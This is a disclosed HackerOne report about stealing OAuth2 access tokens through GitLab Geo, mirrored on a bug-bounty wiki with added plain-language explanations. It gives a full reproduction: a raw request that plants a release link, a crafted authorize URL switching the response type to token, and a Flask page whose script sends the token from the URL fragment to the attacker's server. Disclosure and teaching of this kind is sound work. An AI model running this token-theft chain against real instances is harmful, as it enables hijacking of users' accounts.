Geo OAUTH2 flow access_token stealing
The OAuth2 authorisation flow for GitLab Geo allowed an attacker to steal an access token by manipulating the redirect_uri and response_type parameters, using a release link to control the redirect. An attacker could obtain a victim's OAuth2 access token.
GitLab
Originally disclosed on GitLab
- Fixed in 49 days
- Disclosed after 49 days
HackerOne report #1039435 by ledz1996 on 2020-11-20, assigned to @dcouture:
Report | Attachments | How To Reproduce
Report
Summary
It is possible to steal an access_token from an user by abusing the Oauth2 flow of Geo and Release link feature
app/controllers/projects/releases_controller.rb
def downloads
redirect_to link.url
end
This will ensure the redirect to external url will be from https://<gitlabhost>
Steps to reproduce
- Setup a secondary and primary gitlab nodes
I will name it by the URL:
http://gitlab3.example.vm - Primary Node
http://gitlab4.example.vm - Secondary Node
- Create a Project with visibility to
Internaland create a release in the primary node by using/api/v4/projects/:id/releasewith links to an external URL in which you will control, i will usehttp://127.0.0.1/authfor example.
POST /api/v4/projects/5/releases HTTP/1.1
Host: gitlab3.example.vm
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://gitlab3.example.vm/rrr/dsds/-/releases/test/edit?back_url=http%3A%2F%2Fgitlab3.example.vm%2Frrr%2Fdsds%2F-%2Freleases%2Ftest
X-CSRF-Token: 4YC/2s6GlsNvLaW7M7OefgsKKtSEUTm3EkK8ELa3H4kbk/z0nhEcoecF75WUX9j4/PSrI45VWzgZFDF9FLkZQA==
X-Requested-With: XMLHttpRequest
Content-Type: application/json;charset=utf-8
Content-Length: 236
Origin: http://gitlab3.example.vm
Connection: close
Cookie: experimentation_subject_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqZzBOVE14T1RWbUxXRTBZalF0TkRBek1pMWhaVGRpTFRNM05tSTBNalExWlRjNVl5ST0iLCJleHAiOm51bGwsInB1ciI6ImNvb2tpZS5leHBlcmltZW50YXRpb25fc3ViamVjdF9pZCJ9fQ%3D%3D--64479e11c45d9e17bdf950f749ab3fa8b3ee278a; _gitlab_session=b50156c1d05716e1bebbfd448f38b890; known_sign_in=SkJhSDV0MWRqaFAyaFpZQlNCM3Vqbmg5UkxsZ0hyTHVWSlNPanNZT2YxbVQ4M2xvaUxLNkZabE9zeHdZOHlFQnloTWJxWGdPMWtKbUlkV25TNGFHRFFQVDlpdTRtUFpnTnZyd2xCTk5sS2hNRVBmODEvc2RiYVovT2RjTWgzWFQtLTY4ZEl1bXA4ZnVETVFrYnUrZVhaR1E9PQ%3D%3D--34ce6946f382229b6135333906ad3fd10ecbb284; sidebar_collapsed=false; event_filter=all
{"name":"hehe","tag_name":"hehe","ref":"master","description":"test","milestones":[],"assets":{"links":[{"id":3,"name":"test","url":"http://127.0.0.1/auth","direct_asset_url":"http://127.0.0.1/auth","external":true,"filepath":"/ggg"}]}}
So now you will have the redirect from
http://gitlab3.example.vm/<project-path>/-/release/hehe/download/%2fggg to http://127.0.0.1/auth
Let change it to 2nd node URL
http://gitlab4.example.vm/<project-path>/-/release/hehe/download/%2fggg
-
Logout from 2nd node, 1st node and Let
Gitlab-Geogenerate a valid state for redirect by navigating to the URLhttp://gitlab4.example.vm/<project-path>/-/release/hehe/download/%2fggg -
Now you will have something like this URL in HTTP request history:
http://gitlab3.example.vm/oauth/authorize?client_id=a8c6289516ebbed46119e05b24c9d390c2fd3659c2e08ada8e987dab69abb854&redirect_uri=http%3A%2F%2Fgitlab4.example.vm%2Foauth%2Fgeo%2Fcallback&response_type=code&state=fce068d62b7e27fc%3AeyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkYXRhIjp7InJldHVybl90byI6Ii9ycnIvZHNkcy8tL3JlbGVhc2VzL2hlaGUvZG93bmxvYWRzLyUyRmdnZyJ9LCJqdGkiOiIwNTY1NmQ3ZS0yMzE5LTQ4NjMtYmMzOS02NWY1NTM1ZmUzM2MiLCJpYXQiOjE2MDU4NTkyNzQsIm5iZiI6MTYwNTg1OTI2OSwiZXhwIjoxNjA1ODU5MzM0fQ.6wmoSHlPxJ-FE7kMupHay8q9gnchJJmy0wayI-va6NI%3A%2Frrr%2Fdsds%2F-%2Freleases%2Fhehe%2Fdownloads%2F%252Fggg
change the response_type from code to token add add state as an param to the URl in param redirect_uri
http://gitlab3.example.vm/oauth/authorize?client_id=a8c6289516ebbed46119e05b24c9d390c2fd3659c2e08ada8e987dab69abb854&redirect_uri=http%3A%2F%2Fgitlab4.example.vm%2Foauth%2Fgeo%2Fcallback%3f%73%74%61%74%65%3d%66%63%65%30%36%38%64%36%32%62%37%65%32%37%66%63%25%33%41%65%79%4a%68%62%47%63%69%4f%69%4a%49%55%7a%49%31%4e%69%49%73%49%6e%52%35%63%43%49%36%49%6b%70%58%56%43%4a%39%2e%65%79%4a%6b%59%58%52%68%49%6a%70%37%49%6e%4a%6c%64%48%56%79%62%6c%39%30%62%79%49%36%49%69%39%79%63%6e%49%76%5a%48%4e%6b%63%79%38%74%4c%33%4a%6c%62%47%56%68%63%32%56%7a%4c%32%68%6c%61%47%55%76%5a%47%39%33%62%6d%78%76%59%57%52%7a%4c%79%55%79%52%6d%64%6e%5a%79%4a%39%4c%43%4a%71%64%47%6b%69%4f%69%49%77%4e%54%59%31%4e%6d%51%33%5a%53%30%79%4d%7a%45%35%4c%54%51%34%4e%6a%4d%74%59%6d%4d%7a%4f%53%30%32%4e%57%59%31%4e%54%4d%31%5a%6d%55%7a%4d%32%4d%69%4c%43%4a%70%59%58%51%69%4f%6a%45%32%4d%44%55%34%4e%54%6b%79%4e%7a%51%73%49%6d%35%69%5a%69%49%36%4d%54%59%77%4e%54%67%31%4f%54%49%32%4f%53%77%69%5a%58%68%77%49%6a%6f%78%4e%6a%41%31%4f%44%55%35%4d%7a%4d%30%66%51%2e%36%77%6d%6f%53%48%6c%50%78%4a%2d%46%45%37%6b%4d%75%70%48%61%79%38%71%39%67%6e%63%68%4a%4a%6d%79%30%77%61%79%49%2d%76%61%36%4e%49%25%33%41%25%32%46%72%72%72%25%32%46%64%73%64%73%25%32%46%2d%25%32%46%72%65%6c%65%61%73%65%73%25%32%46%68%65%68%65%25%32%46%64%6f%77%6e%6c%6f%61%64%73%25%32%46%25%32%35%32%46%67%67%67&response_type=token&state=fce068d62b7e27fc%3AeyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkYXRhIjp7InJldHVybl90byI6Ii9ycnIvZHNkcy8tL3JlbGVhc2VzL2hlaGUvZG93bmxvYWRzLyUyRmdnZyJ9LCJqdGkiOiIwNTY1NmQ3ZS0yMzE5LTQ4NjMtYmMzOS02NWY1NTM1ZmUzM2MiLCJpYXQiOjE2MDU4NTkyNzQsIm5iZiI6MTYwNTg1OTI2OSwiZXhwIjoxNjA1ODU5MzM0fQ.6wmoSHlPxJ-FE7kMupHay8q9gnchJJmy0wayI-va6NI%3A%2Frrr%2Fdsds%2F-%2Freleases%2Fhehe%2Fdownloads%2F%252Fggg
- You will be able to access the
access_tokenby readinglocation.hashin your URL
You could use mine for PoC - python-flask
from flask import Flask
app = Flask(__name__)
@app.route('/auth')
def hello():
return """
<!DOCTYPE HTML>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Ajax Example</title>
<script type="text/javascript" src="https://code.jquery.com/jquery-3.5.1.js"></script>
</head>
<p> Gitlab page please wait!!!!!! </p>
<script>
console.log(location.hash);
$.get("/leak", {"test" : location.hash});
</script>
</html>
"""
if __name__ == '__main__':
app.run(port=80)
Video:
Impact
Stealing OAuth2 Token
Results of GitLab environment info
System information
System: Ubuntu 16.04
Proxy: no
Current User: git
Using RVM: no
Ruby Version: 2.6.6p146
Gem Version: 2.7.10
Bundler Version:1.17.3
Rake Version: 12.3.3
Redis Version: 5.0.9
Git Version: 2.28.0
Sidekiq Version:5.2.9
Go Version: unknown
GitLab information
Version: 13.5.3-ee
Revision: b9d194b6b91
Directory: /opt/gitlab/embedded/service/gitlab-rails
DB Adapter: PostgreSQL
DB Version: 11.9
URL: http://gitlab3.example.vm
HTTP Clone URL: http://gitlab3.example.vm/some-group/some-project.git
SSH Clone URL: [email protected]:some-group/some-project.git
Elasticsearch: no
Geo: yes
Geo node: Primary
Using LDAP: no
Using Omniauth: yes
Omniauth Providers:
GitLab Shell
Version: 13.11.0
Repository storage paths:
- default: /var/opt/gitlab/git-data/repositories
GitLab Shell path: /opt/gitlab/embedded/service/gitlab-shell
Git: /opt/gitlab/embedded/bin/git
Impact
Stealing OAuth2 Token
Attachments
Warning: Attachments received through HackerOne, please exercise caution!
How To Reproduce
Please add reproducibility information to this section:
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the OAuth2 authorisation endpoint did not properly validate the redirect_uri and allowed the response_type to be changed to 'token', enabling the access token to be sent to an attacker-controlled URL via the release link redirect.
Impact
An attacker could steal a user's OAuth2 access token.
What the attacker needed
GitLab Geo setup with primary and secondary nodes; Attacker controls an external URL; Victim visits a crafted link
How it was found
- Set up primary and secondary GitLab nodes.
- Create an internal project and a release with a link to an external URL you control.
- Log out from both nodes and navigate to the release download URL on the secondary node to generate a valid state.
- Modify the OAuth authorise URL: change response_type to token and add the state as a parameter in redirect_uri.
- The access token is returned in the URL fragment (location.hash) and can be read by the attacker's page.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
OAuth2 is a way for websites to let you log in using another service, like 'Log in with GitLab'. When you log in, the service gives your browser a special code (token) that proves who you are. Here, the attacker tricked the login system into sending that token to a website they controlled, so they could steal it and act as the victim.
What is OAuth / SSO?
Mistakes in OAuth, OpenID Connect, SAML or token handling that leak codes and tokens or link an attacker's identity to a victim's account.